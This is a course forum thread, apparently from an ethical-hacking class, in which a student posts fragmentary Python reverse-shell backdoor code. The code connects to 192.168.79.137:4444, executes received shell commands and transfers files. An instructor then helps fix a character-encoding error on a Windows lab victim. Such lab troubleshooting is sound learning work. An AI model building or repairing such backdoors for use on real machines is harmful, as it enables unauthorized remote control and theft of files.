April 19, 2023 at 5:46 pm #72003
hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def reliable_send(self, data):
json_data = json.dumps(data)
json_data = “”
json_data = json_data + self.connection.recv(1024)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
return “[+] Changing working directory to ” + path
def read_file(self, path):
with open(path, “rb”) as file:
def write_file(self, path, content):
with open(path, “wb”) as file:
return “[+] Upload successful.”
command = self.reliable_receive()
if command == “exit”:
elif command == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command)
elif command == “download”:
command_result = self.read_file(command)
elif command == “upload”:
command_result = self.write_file(command, command)
command_result = self.execute_system_command(command)
command_result = “[-] Error during comand execution.”
my_backdoor = Backdoor(“192.168.79.137”, 4444)
my_backdoor.run()April 19, 2023 at 8:59 pm #72010
You have another question about the same script and both issues might be related so answer just in one topic please. Can you share the code but with the proper indentation? Otherwise it’s not possible to read it properly, hence the error can’t be found.
DiegoApril 20, 2023 at 6:14 am #72013April 20, 2023 at 6:15 am #72015April 20, 2023 at 9:00 pm #72035
Cool! Are you using a windows virtual machine as victim? If so, did you change the language of it? Or is there any file name in the current working directory which is in a different language other than english?
DiegoApril 20, 2023 at 10:34 pm #72036
yes i do use a windows machine as victim like it shows in videos and my windows machine is in my language which is Lithuanian language and there is no file in the current working directroy which one is in a diffrent language
April 20, 2023 at 10:44 pm #72038
- This reply was modified 5 months ago by donatas.
Yes, I use a Windows device as a victim, as it is shown in the videos, and my Windows device is in my language, which is in lithuanian, and in the current working Directroy there is no file that is in another languageApril 21, 2023 at 9:01 pm #72044
Ok, can you try to add a property in the reliable_send function? I mean in the backdoor:
json_data = json.dumps(data, ensure_ascii=False)
Let me know how it goes!
DiegoApril 22, 2023 at 11:20 am #72051
still not working but i don’t get any errors.April 22, 2023 at 5:28 pm #72053April 22, 2023 at 5:55 pm #72060
It says that the error is in reliable_receive, where exactly did you made the changes? Can you share the modified code?
DiegoApril 22, 2023 at 8:01 pm #72061April 24, 2023 at 9:16 pm #72089
It seems that last error is because you pressed ctrl + c, can you explain what happened?
DiegoApril 26, 2023 at 10:11 pm #72112
everything is working fine.April 27, 2023 at 4:42 pm #72135
Glad you got it!
- You must be logged in to reply to this topic.